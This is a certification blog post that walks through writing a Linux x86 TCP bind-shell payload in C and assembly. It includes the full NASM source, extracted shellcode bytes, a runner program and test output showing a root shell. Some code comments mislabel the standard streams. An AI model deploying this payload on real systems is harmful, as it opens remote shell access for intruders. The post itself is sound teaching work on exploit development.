SLAE32 0x01: Shell_Bind_TCP Shellcode
A bind shell is a type of shell in which the system on which the code is run binds a TCP socket that is designated to listen for incoming connections to a specified port and IP address. When a bind shell is used, the system on which the bind shell is executed acts as the listener. When a connection is accepted on the bound and listening socket on the designated port and IP address, a shell will be spawned on the system on which the code is run.
To more fully understand the underlying system calls required to create a TCP bind shell written in assembly, it is logical to begin by analyzing a TCP bind shell written using a higher level language such as C. For this purpose, the C program shown in the proceeding (first) section of this document will instruct a system to listen on all available network interfaces for connections on TCP port 4444. When a connection is established, /bin/sh
will be executed on the system and input and output will be redirected to the system that established the TCP connection.
After analysis of the C program is complete, the code can more easily be re-written in assembly. This processes is documented and explained in detail in the second section of this post.
Finally, the third section of this paper demonstrates a program written in Python that allows a user to configure a port number to be used in the Shell_Bind_TCP shellcode.
Objectives
Create a Shell_Bind_TCP shellcode that;
- Binds to an easily configurable port number
- Executes a shell on an incoming connection
Analysis of Shell_Bind_TCP.c
The following code has been commented in a way that aims to break the program down into distinct sections to be referenced during analysis. A brief explanation of each commented code section will be provided in this section of the post.
#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main ()
{
/* Create a TCP Socket */
int sockfd = socket(AF_INET, SOCK_STREAM, 0);
/* Create an IP Socket Address Structure */
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(4444);
addr.sin_addr.s_addr = INADDR_ANY;
/* Bind TCP Socket to IP Socket Address Structure */
bind(sockfd, (struct sockaddr *)&addr, sizeof(addr));
/* Designate Socket to Listen for Connection Requests */
listen(sockfd, 0);
/* Accept Connection Requests on the Socket */
int connfd = accept(sockfd, NULL, NULL);
/* Direct Connection Socket Output */
for (int i = 0; i < 3; i++)
{
dup2(connfd, i);
}
/* Execute Program */
execve("/bin/sh", NULL, NULL);
return 0;
}
Create a TCP Socket
int socket(int domain, int type, int protocol);
First, a TCP socket is created using the socket
function. As described in man 2 socket
, the function creates an endpoint for communication and returns a file descriptor that refers to that endpoint. socket
expects a domain argument, a type argument, and a protocol argument.
In this case, the domain argument AF_INET
specifies the IPv4 communication protocol, the type argument SOCK_STREAM
specifies the connection-based TCP standard for data exchange, and the protocol argument 0
indicates that the system should select the default protocol number based on the previously specified domain and protocol arguments.
Create an IP Socket Address Structure
Next, the addr
IP socket address structure is created which is used in the forthcoming bind
method. As further explained in man 7 ip
, an IP socket address is defined as a combination of an IP interface address and a 16-bit (2 byte) port number. The man page also states that sin_family
is always set to AF_INET
, that sin_port
defines a port number in network byte order, and that sin_addr.s_addr
is the host IP address and should be assigned one of the INADDR_*
values.
In the code above, the htons
function converts the unsigned short integer 4444
from host byte order to network byte which is the format expected for sin_port
. The value of INADDR_ANY
(which correlates to 0.0.0.0
, 0
or “any”) is given for sin_addr.s_addr
.
It is also important to note that the addr
struct will be padded to the size of struct sockaddr
(decimal 16
) as defined in the /usr/include/linux/in.h
file. The struct sockaddr
definition is shown below.
/* Structure describing an Internet (IP) socket address. */
#if __UAPI_DEF_SOCKADDR_IN
#define __SOCK_SIZE__ 16 /* sizeof(struct sockaddr) */
struct sockaddr_in {
__kernel_sa_family_t sin_family; /* Address family */
__be16 sin_port; /* Port number */
struct in_addr sin_addr; /* Internet address */
/* Pad to size of `struct sockaddr'. */
unsigned char __pad[__SOCK_SIZE__ - sizeof(short int) -
sizeof(unsigned short int) - sizeof(struct in_addr)];
};
#define sin_zero __pad /* for BSD UNIX comp. -FvK */
#endif
Bind TCP Socket to IP Socket Address Structure
int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
The bind
method is now used to bind the TCP socket as created by socket
to the port and IP address initialized within the addr
structure. From man bind
, the bind()
system call takes three arguments; a socket file descriptor (the previously defined sockfd
), a pointer to a structure of the type sockaddr_in
(the previously defined addr
), and the size, in bytes (returned by the sizeof
operator in this example), of the address structure pointed to by the second argument.
Designate Socket to Listen for Connection Requests
int listen(int sockfd, int backlog);
As the socket is now bound to an IP address and a port, the listen
function is used to designate the socket as one which will be used to accept incoming connection requests through the accept
function. As described in, man 2 listen
the function expects two arguments. The first argument is a socket file descriptor (once again, the socket previously defined as sockfd
), and the second argument identifies how many pending connections should be queued.
Accept Connection Requests on the Socket
int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
The accept
function is used to extract the first connection request in the queue of pending connections on a listening socket as defined previously using the listen
function. Then, accept
creates a new and distinct connected socket and returns a new file descriptor (connfd
in this example) that refers to this newly-created socket. The function first expects a socket file descriptor arugument, then an address argument that points to a sockaddr
structure, and finally an address length argument. For the purpose of this program, the only necessary argument is the first argument which will be passed the socket file descriptor sockfd
as created previously by socket()
.
Direct Connection Socket Output
int dup2(int oldfd, int newfd);
Next, a for
loop is used to iterate over the dup2
function three times, passing the values of i = 0
, i = 1
, and i = 2
as the second argument expected by dup2
during each respective iteration. The purpose of this is to direct data from the connected socket file descriptor connfd
which is passed as the first argument to dup2
for each for
loop iteration to STDIN
(integer file descriptor 0
), STDOUT
(integer file descriptor 1
), and STDERROR
(integer file descriptor 2
).
Execute Program
int execve(const char *pathname, char *const argv[], char *const envp[]);
Finally, the execve
function is called. The execve
function executes the program pointed to by the first argument, filename
. The second argument, argv
, is a pointer to an array of argument strings that should be passed to filename
. The final argument expected by execve
is a pointer to an array of strings that are passed as environment to the newly-executed filename
program. The argv
and envp
arguments must include a NULL pointer at the end of the array. Additionally, argv[0]
should contain the filename assosicated with the program being executed (i.e. filename
). In the analyzed program, the /bin/sh
file will be executed with no additional arguments or environments being passed.
From C to Shellcode
With the analysis of the TCP bind shell C program complete, the process for converting the code to assembly language has been simplified. From the analysis, it is clear that a system call will need to be made for the following functions in the following order:
socket
bind
listen
accept
dup2
execve
In Linux x86 assembly, system calls are made through the software interrupt int 0x80
instruction. When the int 0x80
interrupt occurs, a system call number that identifies the specific call to invoke is passed via the EAX
register to the interrupt. Additional arguments to the system call specified by the value in EAX
are most commonly passed through the EBX
, ECX
, and EDX
registers. The number for each available system call can be found in the /usr/include/x86_64-linux-gnu/asm/unistd_32.h
file on 64 bit Kali Linux. The location of this file may be different on other Linux distributions.
In the sections following, the assembly code used to prepare for and execute the functions listed above will be explained. As the details of these functions and their purpose within a TCP bind shell program were previously explained during the analysis of the C code, the following sections will focus on the assembly code used to prepare for and excute each function rather than on the purpose of the function within the program. The assembly code will come first, followed by the explanation of the code.
Clear Registers
; clear registers
xor edx, edx
xor ecx, ecx
xor ebx, ebx
xor eax, eax
The first bit of assembly code serves the purpose of clearing the registers. This can easily be done using the XOR
instruction. Using XOR
with the same source and destination register will always result in its stored value being cleared from the register.
Socketcall System Call Explained
Conveniently, the first four functions from the list above are all accessible via the socketcall
system call. As detailed in man socketcall
, the function expects two arguments.
#include <linux/net.h>
int socketcall(int call, unsigned long *args);
The call
argument determines which socket function to use, and the args
argument is a pointer to an area of memory that contains the arguments for the socket function specified by call
. For a list of socket functions and their respective values that are passable as the call
argument to socketcall
, the /usr/include/linux/net.h
file should be referenced. The available functions for socketcall
are shown below.
root@kali:~/workspace/SLAE# grep SYS /usr/include/linux/net.h
#define SYS_SOCKET 1 /* sys_socket(2) */
#define SYS_BIND 2 /* sys_bind(2) */
#define SYS_CONNECT 3 /* sys_connect(2) */
#define SYS_LISTEN 4 /* sys_listen(2) */
#define SYS_ACCEPT 5 /* sys_accept(2) */
...
From the unistd_32.h
file mentioned previously, the system call number for socketcall
is decimal 102
.
root@kali:~/workspace/SLAE# grep socketcall /usr/include/x86_64-linux-gnu/asm/unistd_32.h
#define __NR_socketcall 102
Socketcall: Socket
The first function from the analyzed C code that will be converted to assembly is the call to socket
. The socket
function expects three arguments as outlined in the analysis of the C code. The socketcall
function expects the three arguments to socket
to be passed as a pointer to its second argument. The ESP
register stores the current memory address of the stack and therefore inherently acts as a pointer to an area of memory.
; Create a TCP Socket
; int socket(int domain, int type, int protocol);
; int sockfd = socket(AF_INET, SOCK_STREAM, 0);
push edx ; 0
push 0x1 ; 1 = SOCK_STREAM
push 0x2 ; 2 = AF_INET
Three PUSH
instructions are used to move the three arguments for socket
onto the stack, in reverse order. The corresponding decimal values for SOCK_STREAM
and AF_INET
can typically be found in the socket.h
file.
; int socketcall(int call, unsigned long *args);
mov ecx, esp ; *args
inc bl ; 1 = sys_socket
mov al, 0x66 ; socketcall
int 0x80 ; returns int sockfd in eax
mov esi, eax ; store int sockfd in esi
The “top” of the stack now contains the first argument for socket
. The ESP
register contains this memory address. This memory address is stored in the ECX
register (which will be passed as the second argument to socketcall
) using MOV
. Next, INC
is used to increase the value stored in BL
by one to 1
which is passed as the first argument to socketcall
and specifies calling the socket
function. The system call number for socketcall
is moved into AL
and a software interrupt occurs. After an INT 0x80
, the return value of the called function is stored in EAX
. The last instruction shown above stores the file descriptor returned by socket
(called sockfd
in the C program) in ESI
for future use.
IP Socket Address Structure
Next, the IP socket address structure defined in the C program as addr
is saved in memory. To accomplish this, the items will be stored on the stack using the PUSH
instruction.
; Create an IP Socket Address Structure
; struct sockaddr_in addr;
push edx ; addr.sin_addr.s_addr = 0 = INADDR_ANY;
push word 0x5c11 ; addr.sin_port = htons(4444);
push word 0x2 ; addr.sin_family = 2 = AF_INET;
mov ecx, esp ; pointer to struct sockaddr_in addr;
First, the items are pushed to the stack in reverse order. Then, the memory address pointing to the item last pushed to the stack (which is contained in the ESP
register) is moved to the ECX
register to later be used as the second argument for bind
.
Socketcall: Bind System Call
With the memory address of the defined IP socket address structure stored in ECX
and the socket file descriptor (sockfd
) stored in ESI
, the call to bind
can now be prepared and executed. As the socketcall
system call will again be used to call bind
, the process for preparing the arguments for bind
and for socketcall
will be similar to the process outlined in the “Socketcall: Socket” section.
; Bind TCP Socket to IP Socket Address Structure
; int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
; bind(sockfd, (struct sockaddr *)&addr, sizeof(addr));
push 0x10 ; 16 = sizeof(addr)
push ecx ; (struct sockaddr *)&addr
push esi ; sockfd
First, the arguments for bind
are stored on the stack in reverse order using the PUSH
instruction. This time, the arguments stored on the stack consist of an integer that represents the size of addr
, a pointer (memory address) to the location of the addr
structure in memory, and the file descriptor returned by the socket
function.
; int socketcall(int call, unsigned long *args);
mov ecx, esp ; *args
inc bl ; 2 = sys_bind
mov al, 0x66 ; socketcall
int 0x80 ; returns 0 in eax
Next, the arguments for socketcall
are prepared, this time with the intention of executing bind
. As with the previous socketcall
, the second argument is passed via the ECX
register. To reiterate, as the three arguments expected by bind
are stored on the stack, the ESP
register will contain the memory address of where the first of these three arguments begins. Therefore, after the MOV
instruction, the ECX
register contains the memory address of where the three arguments for bind
are stored. After BL
is increased by one to 2
using the INC
instruction, the function number which identifies the bind
function is passed to socketcall
through the BL
register. The system call number 0x66
(decimal 102
) is moved to the AL
register before the sofware interrupt occurs and the system call is executed.
Socketcall: Listen System Call
The process for preparing the arguments for the listen
function to be passed to the socketcall
system call is repeated again in a similar manner to the two previous examples.
; Designate Socket to Listen for Connection Requests
; int listen(int sockfd, int backlog);
; listen(sockfd, 0);
push edx ; 0
push esi ; sockfd
The arguments for listen
which are the value 0
for the backlog
argument and the sockfd
file descriptor returned from socket
for the sockfd
argument are pushed to the stack.
; int socketcall(int call, unsigned long *args);
mov ecx, esp ; *args
mov bl, 0x4 ; 4 = sys_listen
mov al, 0x66 ; socketcall
int 0x80 ; returns 0 in eax
The pointer to these arguments is moved into ECX
to be passed as the second argument to socketcall
. The function number 4
is stored in EBX
to identify the listen
function as the first argument to socketcall
. The system call number is moved to AL
and a software interrupt occurs, resulting in the execution of listen
via socketcall
.
Socketcall: Accept System Call
The socketcall
function is used for the fourth and final time to call accept
.
; Accept Connection Requests on the Socket
; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
; int connfd = accept(sockfd, NULL, NULL);
push edx ; NULL
push edx ; NULL
push esi ; sockfd
As explained previously, the three arguments for accept
are each pushed to the stack in reverse order using the PUSH
instruction. After the three PUSH
instructions, the ESP
register will contain the memory address of where the first argument for accept
(i.e. the argument most recently pushed to the stack) begins.
; int socketcall(int call, unsigned long *args);
mov ecx, esp ; *args
inc bl ; 5 = sys_accept
mov al, 0x66 ; socketcall
int 0x80 ; returns int connfd in eax
The memory address in ESP
is stored in ECX
which will eventually be passed to socketcall
as its second argument. The value in the BL
register is increased by one to 5
which represents the socketcall
function number for accept
. The system call number for socketcall
is placed in AL
followed by the software interrupt instruction INT 0x80
. Upon completion, a connection socket file descriptor (named connfd
in this case) is returned and stored in the EAX
register.
Dup2 System Call
Now that the four socketcall
system calls are complete, a system call to to dup2
is required which is assigned the system call number decimal 63
in the unistd_32.h
file.
#define __NR_dup2 63
As explained previously, dup2
is used to direct STDOUT
, STDIN
, and STDERROR
to the connection socket returned by accept
. This means that the dup2
system call will be repeated three times, one time for each standard stream. For each call, the oldfd
argument will be the connection file descriptor connfd
that is currently stored in EAX
and the newfd
argument will first be 0
for STDOUT
, then 1
for STDERROR
, and finally 2
for STDERROR
.
; Direct Connection Socket Output
; int dup2(int oldfd, int newfd);
; dup2(connfd, 0);
mov ecx, edx ; 0 = STDOUT
mov ebx, eax ; store int connfd in ebx
mov al, 0x3f ; dup2
int 0x80
; dup2(connfd, 1);
inc cl ; 1 = STDIN
mov al, 0x3f ; dup2
int 0x80
; dup2(connfd, 2);
inc cl ; 2 = STDERROR
mov al, 0x3f ; dup2
int 0x80
For the first call to dup2
, the value of 0
is stored in the ECX
register which will be passed to dup2
as its second argument. Next, the connfd
file descriptor stored in EAX
as returned via accept
is moved to EBX
to be passed as the first argument to dup2
. Then, the value 0x3f
which is the hexadecimal equivalent of the decimal representation of the system call number for dup2
is moved into AL
before the function is called via INT 0x80
.
This general process is repeated two more times passing the values of 1
and 2
to the function’s second argument each successive time. Note that the connfd
file descriptor remains in EBX
throughout, and therefore the MOV EBX, EAX
instruction is only required once.
Execve System Call
The final step is a system call to execve
in order to execute /bin/sh
. From unistd_32.h
the system call number for execve
is decimal 11
.
#define __NR_execve 11
The execve
system call expects three arguments which were explained during the analysis of the C program that will be passed via the EBX
, ECX
, and EDX
registers in the code below.
; Execute Program
; int execve(const char *pathname, char *const argv[], char *const envp[]);
; execve("/bin/sh", NULL, NULL);
push edx ; delimiting NULL for pathname
push 0x68732f2f ; //sh
push 0x6e69622f ; /bin
mov ebx, esp ; pointer to pathname
To prepare the three arguments for execve
, the /bin/sh
string is first stored on the stack using PUSH
instructions. The first PUSH
shown in the code above serves to NULL
terminate the /bin/sh
string. Next, the /bin/sh
string itself is pushed to the stack. At this point, ESP
stores the memory address of where the string is stored, and hence this memory address is moved to EBX
which will be passed as the first argument for execve
.
push edx ; delimiting NULL for argv[] & envp[]
mov edx, esp ; *const envp[]
push ebx ; *pathname
mov ecx, esp ; *const argv[]
mov al, 0xb ; execve
int 0x80
Another PUSH
instruction is used which serves as a delimeter for the second and third arguments. Immediately after the referenced PUSH
instruction, the memory address stored in ESP
is moved to EDX
to be pased as the third argument to execve
. Next, the memory address value in EBX
which is the location of the /bin/sh
string in memory is pushed to the stack. Now, the stack contains the memory address of /bin/sh
string’s location in memory followed by NULL
, and therefore the memory address in ESP
serves as a pointer to the array of arguments to be passed to /bin/sh
. The value in ESP
is moved to ECX
to be passed as the second argument for execve
. The execve
system call number is moved into AL
before the software interrupt occurs.
Completed Assembly Program
Shown below is the assembly program described above in its entirety. Some of the comments from the code above have been removed. The fully commented version of the code can be found on GitHub.
; shell_bind_tcp.nasm
; Author: Michael Norris
global _start
section .text
_start:
; clear registers
xor edx, edx
xor ecx, ecx
xor ebx, ebx
xor eax, eax
; int sockfd = socket(AF_INET, SOCK_STREAM, 0);
push edx ; 0
push 0x1 ; 1 = SOCK_STREAM
push 0x2 ; 2 = AF_INET
mov ecx, esp ; *args
inc bl ; 1 = sys_socket
mov al, 0x66 ; socketcall
int 0x80 ; returns int sockfd in eax
mov esi, eax ; store int sockfd in esi
; struct sockaddr_in addr;
push edx ; addr.sin_addr.s_addr = 0 = INADDR_ANY;
push word 0x5c11 ; addr.sin_port = htons(4444);
push word 0x2 ; addr.sin_family = 2 = AF_INET;
mov ecx, esp ; pointer to struct sockaddr_in addr;
; bind(sockfd, (struct sockaddr *)&addr, sizeof(addr));
push 0x10 ; 16 = sizeof(addr)
push ecx ; (struct sockaddr *)&addr
push esi ; sockfd
mov ecx, esp ; *args
inc bl ; 2 = sys_bind
mov al, 0x66 ; socketcall
int 0x80 ; returns 0 in eax
; listen(sockfd, 0);
push edx ; 0
push esi ; sockfd
mov ecx, esp ; *args
mov bl, 0x4 ; 4 = sys_listen
mov al, 0x66 ; socketcall
int 0x80 ; returns 0 in eax
; int connfd = accept(sockfd, NULL, NULL);
push edx ; NULL
push edx ; NULL
push esi ; sockfd
mov ecx, esp ; *args
inc bl ; 5 = sys_accept
mov al, 0x66 ; socketcall
int 0x80 ; returns int connfd in eax
; int dup2(int oldfd, int newfd);
mov ecx, edx ; 0 = STDOUT
mov ebx, eax ; store int connfd in ebx
mov al, 0x3f ; dup2
int 0x80
inc cl ; 1 = STDIN
mov al, 0x3f ; dup2
int 0x80
inc cl ; 2 = STDERROR
mov al, 0x3f ; dup2
int 0x80
; execve("/bin/sh", NULL, NULL);
push edx ; delimiting NULL for pathname
push 0x68732f2f ; //sh
push 0x6e69622f ; /bin
mov ebx, esp ; pointer to pathname
push edx ; delimiting NULL for argv[] & envp[]
mov edx, esp ; *const envp[]
push ebx ; *pathname
mov ecx, esp ; *const argv[]
mov al, 0xb ; execve
int 0x80
Compile & Test
Testing Assembly
With the assembly code written, it is now time to compile and test. The commands shown below were run on 64-bit Kali Linux. First, the code should be assembled with /usr/bin/nasm
as shown below. As the program is written in x86 assembly, the elf32
file type is specified using the -f
flag.
root@kali:~/workspace/SLAE/# nasm -f elf32 shell_bind_tcp.nasm -o shell_bind_tcp.o
With the code assembled, the next step is to link the shell_bind_tcp.o
file with /usr/bin/ld
. The -m
flag specifies that the elf_i386
emulation linker should be used.
root@kali:~/workspace/SLAE/# ld -m elf_i386 shell_bind_tcp.o -o shell_bind_tcp
The assembled and linked code can now be run on the system.
root@kali:~/workspace/SLAE/# ./shell_bind_tcp
In a separate terminal window, netstat
command can be used to test whether port 4444
is listening on the system. The output below confirms this to be the case.
root@kali:~/workspace/SLAE# netstat -anlp | grep 4444
tcp 0 0 0.0.0.0:4444 0.0.0.0:* LISTEN 26439/./shell_bind_tcp
To test the complete functionality of the TCP bind shell, a connection can be made to localhost
port 4444
using nc
or ncat
. If all goes as planned, a shell will be spawned on successful connection.
root@kali:~/workspace/SLAE# nc -v localhost 4444
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Connected to 127.0.0.1:4444.
id
uid=0(root) gid=0(root) groups=0(root)
ls | grep shell_bind_tcp
shell_bind_tcp
shell_bind_tcp.nasm
shell_bind_tcp.o
Success!
Examining The Shellcode
Now, shell_bind_tcp
can be diassembled into opcodes using /usr/bin/objdump
. An example of this is shown below. The output has been truncated to conserve space.
root@kali:~/workspace/SLAE# objdump -d ./shell_bind_tcp -M intel
./shell_bind_tcp: file format elf32-i386
Disassembly of section .text:
08049000 <_start>:
8049000: 31 d2 xor edx,edx
8049002: 31 c9 xor ecx,ecx
8049004: 31 db xor ebx,ebx
8049006: 31 c0 xor eax,eax
8049008: 52 push edx
8049009: 6a 01 push 0x1
804900b: 6a 02 push 0x2
804900d: 89 e1 mov ecx,esp
804900f: fe c3 inc bl
8049011: b0 66 mov al,0x66
8049013: cd 80 int 0x80
...
After confirming that no NULL
bytes (\x00
) are present in the output of objdump
, the shellcode can be extracted and formatted using the following one-liner. Credit for this goes to gunslinger_ from commandlinefu.com.
root@kali:~/workspace/SLAE# /usr/bin/objdump -d ./shell_bind_tcp | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d:|cut -f1-6 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s | sed 's/^//' | sed 's/$//g'
\x31\xd2\x31\xc9\x31\xdb\x31\xc0\x52\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x52\x56\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x52\x52\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xd1\x89\xc3\xb0\x3f\xcd\x80\xfe\xc1\xb0\x3f\xcd\x80\xfe\xc1\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80
Testing The Shellcode
To confirm that the shellcode will work within the context of a C program, the shellcode can be placed in a test program (titled sc_test.c
in this example) written in C, as shown below.
#include <stdio.h>
#include <string.h>
/*
To compile:
gcc -m32 -fno-stack-protector -z execstack sc_test.c -o sc_test
*/
unsigned char shellcode[] = \
"\x31\xd2\x31\xc9\x31\xdb\x31\xc0"
"\x52\x6a\x01\x6a\x02\x89\xe1\xfe"
"\xc3\xb0\x66\xcd\x80\x89\xc6\x52"
"\x66\x68\x11\x5c\x66\x6a\x02\x89"
"\xe1\x6a\x10\x51\x56\x89\xe1\xfe"
"\xc3\xb0\x66\xcd\x80\x52\x56\x89"
"\xe1\xb3\x04\xb0\x66\xcd\x80\x52"
"\x52\x56\x89\xe1\xfe\xc3\xb0\x66"
"\xcd\x80\x89\xd1\x89\xc3\xb0\x3f"
"\xcd\x80\xfe\xc1\xb0\x3f\xcd\x80"
"\xfe\xc1\xb0\x3f\xcd\x80\x52\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x52\x89\xe2\x53\x89"
"\xe1\xb0\x0b\xcd\x80";
int main(void)
{
printf("Shellcode Length: %d\n", strlen(shellcode));
int (*ret)() = (int(*)())shellcode;
ret();
}
This program should then be compiled using the gcc
command as suggested in the commented code. After compilation, running the sc_test
program prints the length of the shellcode.
root@kali:~/workspace/SLAE# ./sc_test
Shellcode Length: 109
In another terminal window, nc
or ncat
can be used to test the functionality of the shellcode in its entirety in the same way that the code was tested in a previous section.
Wrapper Program for Port Configuration
Using Python, the bind port can easily be configured within the shellcode. During the analysis of the assembly code, recall that the port to bind was saved to memory using the PUSH WORD 0x5c11
instruction during the creation of the IP Socket Address Structure called addr
. The port number is an unsigned 16-bit integer, so is possible to represent the entire range of ports (0 - 65535
) using two bytes.
As the PUSH
instruction stores bytes to the stack in the order of least-signficant to most-significant, 0x5c11
appears in the shellcode as \x11\x5c
. Knowing this, a program was created to take a user-supplied port number which will be converted to network byte order, converted to hex, formatted, and ultimately used to replace the \x11\x5c
string present in the base TCP bind shell shellcode.
The program includes basic validation checks that can be altered in the future to provide encoding to account for NULL
bytes introduced to the shellcode as a result of port number specification. Port values that result in a NULL
byte are all values less than or equal to 256
(due to the low-order byte having all 8 bits set to 0
) and all other values that are evenly divisible by 256
(due to the high-order byte having all 8 bits set to 0
). A demonstration of the program follows.
To save space, the program code has not been included here. The full code for the program can be found on GitHub. Using this program with the shellcode generated previously results in the following output:
root@kali:~/workspace/SLAE# python3 ConfShell.py bind 65000
\x31\xd2\x31\xc9\x31\xdb\x31\xc0\x52\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\x66\x68\xfd\xe8\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x52\x56\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x52\x52\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xd1\x89\xc3\xb0\x3f\xcd\x80\xfe\xc1\xb0\x3f\xcd\x80\xfe\xc1\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80
This output can then be used in sc_test.c
as outlined previously. After compiling the new shellcode within sc_test.c
, a connection can be made to localhost
on the specifed port of 65000
that results in shell.
root@kali:~/workspace/SLAE# nc -v localhost 65000
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Connected to 127.0.0.1:65000.
id
uid=0(root) gid=0(root) groups=0(root)
ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.57.197 netmask 255.255.255.0 broadcast 192.168.57.255
inet6 fe80::20c:29ff:fe40:6c57 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:40:6c:57 txqueuelen 1000 (Ethernet)
RX packets 286221 bytes 396564230 (378.1 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 41605 bytes 2844136 (2.7 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 1620 bytes 206307 (201.4 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 1620 bytes 206307 (201.4 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert
Student ID: SLAE-1469